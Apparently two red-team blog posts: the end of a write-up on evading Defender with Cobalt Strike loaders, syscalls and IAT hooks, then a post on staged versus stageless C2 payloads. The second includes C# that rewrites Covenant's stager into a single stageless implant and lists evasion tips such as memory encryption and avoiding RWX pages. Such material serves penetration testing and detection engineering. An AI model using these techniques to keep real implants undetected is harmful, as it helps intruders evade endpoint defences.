Some more experienced Cobalt Strike users hinted me to the nearly endless possibilities of User defined reflective Loaders (UDRL) such as TitanLdr. Tweaking the Cobalt Strike behaviour via the Malleable Profile options is in mature environments not enough. The Core for example will always use Win32 APIs (with potential Detections) instead of direct Syscalls. Until someone integrates a Syscall option with an Update. But with UDRL’s you can also modify all of the Cobalt Strike Core behaviour by using Import Address Table Hooks. You could for example Hook VirtualProtect of the Core to become NtProtectVirtualMemory.

So instead of using a Custom Packer/Loader or the Arsenal Kit with modifications it might be the stealthiest way to stick with UDRL’s due to the current limitations of the CS-Core itself.

For me personally, this was not an option anymore. Hooking the IAT to modify a closed source softwares Core only to bypass behaviour-based Detections? At some point I decided to at least for this moment not dig deeper and deeper into Windows Internals just to get a C2-Connection with this Framework to run. After one year of having only a very few environments with no Detections and some with a reverse Socks proxy I decided to use other Frameworks. I was always fine without CS before and it will be fine in the future again.

Is all of this evasion-techniques really needed?

I would like to include a fundamental question in this post. Is all of this really needed? Is it needed to use Syscalls? Is it needed to use Memory encryption? Is it needed to unhook all the things? Is it needed to bypass AMSI or ETW? Is this tool which is known malicious worth the additional evasion effort?

The very simple answer to this from my current knowledge and point of view is - no! Why not? Well, I think the InfoSec Industry really pushed each other to more and more and new limits over all these years. But all these evasion techniques are somehow still just used to bypass signatures.

If you’re using self-generated Shellcode, it’s an option to stick to Win32 APIs again. WriteProcessMemory or CreateThread will lead to Detections of the input arguments and to an analysis of the Shellcode-Entrypoint. But if that has no known malicious signature, it will run fine and not get blocked.

If you’re using In-House-Tooling or heavily modified Open Source code, AMSI will never catch you because it’s searching for known signatures.

If you’re using an heavily obfuscated OpenSource C2-Framework or again a self developed one - Memory Scans won’t catch you. Of course, you don’t want to give a plain C2-Stager from Memory to the Blue Team as present, so using encryption still makes sense in that case.

This is of course a very hypothetical world. Most IT-Security Consulting companies don’t spend that much time and money into development and research which would make this conditions apply. Threat-Actors will also have a budget limit. Therefore most stick to either OpenSource tools or commercial Software, because this saves time and money.

But from my point of view people should be aware of this fact, as for many tools heavy modifications are one-time effort. As long as you don’t publish the code. If you spend some hours into modifications for years every week, you may not need to bypass AMSI anytime anymore. If you developed an in-house-C2, you don’t nessesarily need to care about some evasion techniques.

What do you think?

Conclusion

On the one hand, I wanted to use this article to give an overview of what a Packer can technically bypass and at what point the Operator has to take action himself. Some things should hopefully be clear:

• The Operator should know what his Payload is doing
• The Operator should know about the Indicators of Compromise (IoCs) for his Payloads
• Behaviour-based Detections can only get bypassed by the Operator himself via Payload modification

On the other hand I showed some examples on how to bypass behaviour-based Detections from Defender for

• The Fodhelper UAC Bypass
• Meterpreter
• Cobalt Strike

For Cobalt Strike detections in other mature environments - well at some point I stopped digging deeper as it was just too much of a BlackBox for me. I’m still excited about it’s future development and will follow all those changes. Who knows, maybe someday I’ll pick it up again.

The post ended up with the fundamental question about if all this stuff is even needed at all. Sometimes you will not get around it because the software/tool is closed source and known malicious. I personally think, that it’s not. But this just depends on which Payload you’re using. With custom tools or obfuscation many evasion techniques should not be needed at all. But as custom tools or heavy modification for each tool needs a lot of effort, the alternative of more and more evasion techniques has to be accepted in many cases. At one point you just have to question yourself, if additional effort for evasion is worth getting a known malicious Payload to work. I’m curious, where this pushing will lead to in the next years. Maybe there will be a Point at some time, where people prefer more one-time-effort against a constant up-to-date evasion practice.

Links & Resources

• Yara https://github.com/Yara-Rules/rules
• Elastic Mimikatz Yara rule https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar
• Entropy based Detections https://practicalsecurityanalytics.com/file-entropy/
• SleepKiller https://github.com/ZeroMemoryEx/SleepKiller
• Fodhelper UAC Bypass https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/
• Reflective DLL Injection https://github.com/rapid7/ReflectiveDLLInjection/tree/fac3adab1187deade60eef27be8423ee117c1e1f
• Meterpreter stdapi https://github.com/rapid7/metasploit-Payloads/tree/master/c/meterpreter/source/extensions/stdapi
• Engineering antivirus evasion (Part III) https://blog.scrt.ch/2022/04/19/3432/
• Environmental Keying https://attack.mitre.org/techniques/T1480/001/
• Cobalt Strike Yara rules https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar
• Avoiding Memory Scanners https://blog.kyleavery.com/posts/avoiding-Memory-Scanners/
• TitanLdr https://github.com/SecIdiot/TitanLdr

Staged vs. Stageless payloads

Many Command & Control Frameworks (C2) give the user the option to generate either staged or stageless payloads. Theese two options have different advantages and disadvantages.

For example Meterpreter, a staged payload can be generated via windows/meterpreter/reverse_https and stageless payloads are generated payload windows/meterpreter_reverse_https (“_” instead of “/”).

But what does this even mean?

Staged payloads

Staged payloads (Stage1) are small executables, that contact the C2-Server to grab a seccond payload (Stage2) from it to execute this (mostly) from memory. The advantages are:

• The executable/shellcode is small, it only loads a bigger payload into memory
• There are less signature possibilities for less code - less detections when dropping the first stage on disk
• If Stage1 is detected/identified/blocked, the defenders won’t easily be able to analyse Stage2

Disadvantages:

• Loading Stage2 comes with additional host based and or network Indicators of Compromise (IoC’s), which can lead to behavioral detections
• If you don’t obfuscate the whole code base (Stage1 + Stage2) it’s easy to flag Stage2 via memory scans

Stageless payloads

Stageless payloads have everything included for the whole C2 implant to fully work and execute it’s tasks. Therefore no Stage2 is loaded at all. Advantages:

• No additional host based indicators for reflective loading and no Stage2 network indicator
• Obfuscating Stage1 will care for the whole implant as there is only one Stage

Disadvantages:

• Bigger executable/shellcode
• More signature possibilities
• If detected/identified/blocked - the whole implant can be analysed by the Blue Team

OpSec considerations

What is the best thing for your current situation? From my point of view that stronly depends on which C2 you are using and on which host or network detection systems are placed in your target environment.

Best case ideas:

• Obfuscating a whole public C2 including all stages on source code level, so that you could use the advantages of staged payloads plus having no cleartext Stage2 in memory
• Using Stageless payloads with obfuscation
• Using encrypted stageless payloads and decrypt them on runtime in memory but execute them as stealthy as possible, e.g. via syscalls in the hope, that this doesn’t trigger memory scans
• Building your own C2. We are currently doing that in my company to avoid future detections. No public code, no signatures to detect malicious stuff ¯\_(ツ)_/¯

Optional:

• Encrypting the memory of the implant via e.g. Sleep hooks, one public example implementation is ShellcodeFluctuation by @mariuszbit.
• Avoid RWX/RX permissions for memory pages to avoid anomalies
• If Stage1 or Stage2 makes use of Win32 API’s you should port them to Syscalls

In the last months I myself was only using stageless payloads due to staged payloads getting caught more and more often. But if you want to do some environmental keying checks before loading Stage2 a staged payload may fit better.

I personally also like the idea of obfuscating a whole Open Source public C2 to avoid detections. This should apply for Stage1/Stage2 and all loaded Modules (includes Mimikatz and all other tools used). But this may be a big overhead for most people. PlowSec recently wrote a good article (actually three in a row) including an automated tool to obfuscate the meterpreter source code. Worth reading.

Covenant & stageless payloads

Covenant comes with different protocol templates:

It is very easy to edit those templates or to build custom ones via the web application. But taking a look at all of those templates we’ll see that there are only staged payloads:

From time to time when getting detected is not that relevant in a project I was lazy and did setup a fresh Covenant instance, maybe even used my string replacements technique created default template payloads, which I obfuscated via public or commercial obfuscators. This was really fine for some years now to not get detected by any AV/EDR. But in the recent months, more and more vendors still detected it and I wondered why.

It was the points mentioned above. I did obfuscate Stage1 but Stage2 just had some string replacements and was still detected in memory after a memory scan. That sucks.

So I thought about changing the template code to have all nessesary code in one payload directly. And it was actually pretty easy to do so and not much work. The Covenant default StagerCode loads Stage2 in lines 194-206, which looks like that:

 Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
 extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
 extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
 parsed = Parse(extracted, MessageFormat);
 iv64str = parsed[3];
 message64str = parsed[4];
 hash64str = parsed[5];
 messageBytes = Convert.FromBase64String(message64str);
 if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
 SessionKey.IV = Convert.FromBase64String(iv64str);
 byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
 Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
 gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });

Stage2 therefore is the compiled ExecutorCode which is loaded via Assembly.Load by Stage1. To build a single payload I just copied the Grunt class from the ExecutorCode into the GruntStager namespace of the StagerCode. You also need to import all nessesary libraries from the ExecutorCode.

You also need to remove the static declaration from the execute method to call it from within the GruntStager.

Doing so you can just replace the code from above which loads Stage2 with the following:

Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
Grunt Stage2 = new Grunt();
Stage2.Execute(CovenantURI, CovenantCertHash, GUID, SessionKey);

The Stage2-Request has still to be done here, as without doing so Covenant won’t register the new Grunt. You would also need to modify server side code to fully get rid of this request I guess. But we can remove the ExecutorCode, so that nothing will get served as Stage2 anyway.

Thats already it.

The example code can be found in this gist. Have fun playing with it.

Conclusion

Staged vs stageless payloads. A decision to be choosen by you as operator. I mentioned some advantages and disadvantages here, but I’m also sure there are many more considerations to take for this question.

However, in the recent months I did have the need for Covenant with stageless payloads. I used some obfuscators for this one Stage and the implant was not detected again, problem solved. This may also help you if you faced similar problems in the past.

Short one. Over and out.

Links & Resources

• Covenant https://github.com/cobbr/Covenant
• Shellcodefluctuation https://github.com/mgeeky/ShellcodeFluctuation
• Mitre Environmental Keying https://attack.mitre.org/techniques/T1480/001/
• Engineering antivirus evasion (Part III) https://blog.scrt.ch/2022/04/19/3432/
• Customizing C2 Frameworks https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/